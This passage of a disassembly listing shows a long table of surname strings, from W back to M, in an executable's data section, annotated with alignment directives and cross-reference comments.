aWeighart db 'Weighart',0 align 10h aWaugh db 'Waugh',0 align 4 aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042E720o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042E71Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E718o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042E714o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E710o aVanallen db 'vanAllen',0 align 4 aWalter db 'Walter',0 align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E704o align 4 aWales db 'Wales',0 ; DATA XREF: ___:0042E700o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042E6FCo align 10h aValberg db 'Valberg',0 aWaite db 'Waite',0 ; DATA XREF: ___:0042E6F4o align 10h aVacca db 'Vacca',0 align 4 aUzuner db 'Uzuner',0 align 10h aUsdan db 'Usdan',0 align 4 aUrdangBrown db 'Urdang-Brown',0 align 4 aUrban db 'Urban',0 align 10h aUpsdell db 'Upsdell',0 aUntermeyer db 'Untermeyer',0 align 4 aUllman db 'Ullman',0 align 4 aTzamarias db 'Tzamarias',0 align 4 aTwells db 'Twells',0 align 10h aTuttle db 'Tuttle',0 align 4 aTurek db 'Turek',0 align 10h aTurano db 'Turano',0 align 4 aTukan db 'Tukan',0 align 10h aTudge db 'Tudge',0 ; DATA XREF: ___:0042E6B8o align 4 aTuck db 'Tuck',0 align 10h aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 align 4 aTsiatis db 'Tsiatis',0 aTruss db 'Truss',0 align 4 aTroy db 'Troy',0 align 10h aTroiani db 'Troiani',0 aTringali db 'Tringali',0 align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E694o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E690o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E68Co align 10h aToye db 'Toye',0 ; DATA XREF: ___:0042E688o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042E684o align 10h aTorske db 'Torske',0 ; DATA XREF: ___:0042E680o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E67Co aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E678o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E674o align 10h aTomford db 'Tomford',0 ; DATA XREF: ___:0042E670o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E66Co align 10h aTolls db 'Tolls',0 ; DATA XREF: ___:0042E668o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E664o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E660o align 10h aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E65Co aTill db 'Till',0 ; DATA XREF: ___:0042E658o align 10h aTierney db 'Tierney',0 ; DATA XREF: ___:0042E654o aThroop db 'Throop',0 ; DATA XREF: ___:0042E650o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E64Co aThisted db 'Thisted',0 ; DATA XREF: ___:0042E648o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E644o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E640o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E63Co align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E638o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E634o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E630o align 10h aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E62Co align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E628o align 10h aTeague db 'Teague',0 ; DATA XREF: ___:0042E624o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E620o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E61Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E618o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E614o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E610o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E60Co aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E608o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E604o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E600o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E5FCo aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E5F8o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5F4o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F0o align 10h aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5ECo align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E5E8o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5E4o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E0o align 10h aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5DCo ; Themida_:00552D3Bo align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5D8o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5D4o aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D0o aStott db 'Stott',0 ; DATA XREF: ___:0042E5CCo align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E5C8o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5C4o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C0o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5BCo align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5B8o align 10h aStock db 'Stock',0 ; DATA XREF: ___:0042E5B4o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B0o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5ACo align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5A8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5A4o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A0o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E59Co aStefani db 'Stefani',0 ; DATA XREF: ___:0042E598o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E594o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E590o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E58Co align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E588o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E584o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E580o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E57Co align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E578o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E574o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E570o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E56Co align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E568o aSpence db 'Spence',0 ; DATA XREF: ___:0042E564o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E560o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E55Co align 10h aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E558o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E554o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E550o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E54Co align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E548o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E544o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E540o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E53Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E538o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E534o align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E530o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E52Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E528o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E524o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E520o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E51Co align 10h aSloan db 'Sloan',0 ; DATA XREF: ___:0042E518o align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E514o align 10h aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E510o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E50Co align 10h aSites db 'Sites',0 ; DATA XREF: ___:0042E508o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E504o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E500o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E4FCo align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E4F8o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E4F4o align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F0o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4ECo aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4E8o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4E4o align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E0o aShia db 'Shia',0 ; DATA XREF: ___:0042E4DCo align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4D8o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4D4o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D0o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4CCo align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4C8o align 10h aShea db 'Shea',0 ; DATA XREF: ___:0042E4C4o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C0o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4BCo aShar db 'Shar',0 ; DATA XREF: ___:0042E4B8o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4B4o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B0o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4ACo align 10h aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4A8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4A4o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A0o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E49Co align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E498o aSen db 'Sen',0 ; DATA XREF: ___:0042E494o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E490o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E48Co align 10h aSegal db 'Segal',0 ; DATA XREF: ___:0042E488o align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E484o align 10h aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E480o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E47Co aScovel db 'Scovel',0 ; DATA XREF: ___:0042E478o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E474o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E470o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E46Co align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E468o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E464o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E460o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E45Co aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E458o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E454o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E450o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E44Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E448o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E444o align 10h aScepan db 'Scepan',0 ; DATA XREF: ___:0042E440o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E43Co align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E438o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E434o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E430o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E42Co align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E428o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E424o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E420o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E41Co align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E418o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E414o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E410o aSamson db 'Samson',0 ; DATA XREF: ___:0042E40Co align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E408o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E404o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E400o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E3FCo align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E3F8o align 10h aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3F4o aRush db 'Rush',0 ; DATA XREF: ___:0042E3F0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3ECo align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3E8o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3E4o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E3E0o align 10h aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3DCo align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E3D8o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3D4o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D0o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3CCo aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3C8o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3C4o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C0o align 10h aRish db 'Rish',0 ; DATA XREF: ___:0042E3BCo align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3B8o align 10h aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3B4o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B0o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3ACo align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3A8o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3A4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A0o aRenick db 'Renick',0 ; DATA XREF: ___:0042E39Co align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E398o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E394o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E390o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E38Co align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E388o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E384o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E380o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E37Co align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E378o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E374o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E370o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E36Co align 10h aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E368o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E364o align 10h aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E360o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E35Co align 10h aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E358o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E354o align 10h aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E350o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E34Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E348o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E344o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E340o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E33Co aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E338o aPresper db 'Presper',0 ; DATA XREF: ___:0042E334o aPowers db 'Powers',0 ; DATA XREF: ___:0042E330o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E32Co aPoma db 'Poma',0 ; DATA XREF: ___:0042E328o align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E324o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E320o aPolak db 'Polak',0 ; DATA XREF: ___:0042E31Co align 10h aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E318o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E314o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E310o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E30Co align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E308o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E304o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E300o aPlant db 'Plant',0 ; DATA XREF: ___:0042E2FCo align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E2F8o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2F4o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F0o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2ECo aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2E8o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2E4o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E0o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E2DCo align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2D8o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E2D4o align 10h aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D0o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2CCo aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2C8o align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E2C4o align 10h aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C0o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2BCo align 10h aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2B8o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2B4o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B0o align 10h aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2ACo aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2A8o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2A4o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A0o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E29Co aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E298o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E294o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E290o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E28Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E288o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E284o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E280o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E27Co align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E278o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E274o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E270o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E26Co align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E268o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E264o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E260o align 10h aPaine db 'Paine',0 ; DATA XREF: ___:0042E25Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E258o align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E254o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E250o aOtten db 'Otten',0 ; DATA XREF: ___:0042E24Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E248o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E244o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E240o align 10h aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E23Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E238o aOray db 'Oray',0 ; DATA XREF: ___:0042E234o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E230o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E22Co aOman db 'Oman',0 ; DATA XREF: ___:0042E228o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E224o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E220o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E21Co align 10h aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E218o align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E214o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E210o aOh db 'Oh',0 ; DATA XREF: ___:0042E20Co align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E208o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E204o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E200o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E1FCo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E1F8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1F4o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F0o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1ECo align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1E8o align 10h aNg db 'Ng',0 ; DATA XREF: ___:0042E1E4o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E0o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1DCo aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1D8o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1D4o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D0o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1CCo align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1C8o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1C4o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C0o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1BCo align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1B8o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1B4o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B0o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1ACo aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1A8o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1A4o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A0o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E19Co align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E198o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E194o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E190o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E18Co align 10h aMosher db 'Mosher',0 ; DATA XREF: ___:0042E188o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E184o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E180o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E17Co align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E178o aMorani db 'Morani',0 ; DATA XREF: ___:0042E174o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E170o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E16Co align 10h aMonque db 'Monque',0 ; DATA XREF: ___:0042E168o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E164o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E160o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E15Co aModestino db 'Modestino',0 ; DATA XREF: ___:0042E158o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E154o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E150o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E14Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E148o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E144o aMini db 'Mini',0 ; DATA XREF: ___:0042E140o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E13Co align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E138o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E134o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E130o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E12Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E128o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E124o align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E120o aMerz db 'Merz',0 ; DATA XREF: ___:0042E11Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E118o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E114o align 10h aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E110o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E10Co align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E108o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E104o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E100o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E0FCo aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E0F8o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0F4o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F0o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0ECo aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0E8o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0E4o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E0o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0DCo align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0D8o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0D4o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D0o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0CCo align 10h aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0C8o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0C4o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C0o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0BCo align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0B8o aMay db 'May',0 ; DATA XREF: ___:0042E0B4o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B0o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0ACo aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0A8o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0A4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A0o aMass db 'Mass',0 ; DATA XREF: ___:0042E09Co align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E098o align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E094o align 10h aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E090o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E08Co align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E088o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E084o align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E080o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E07Co align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E078o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E074o align 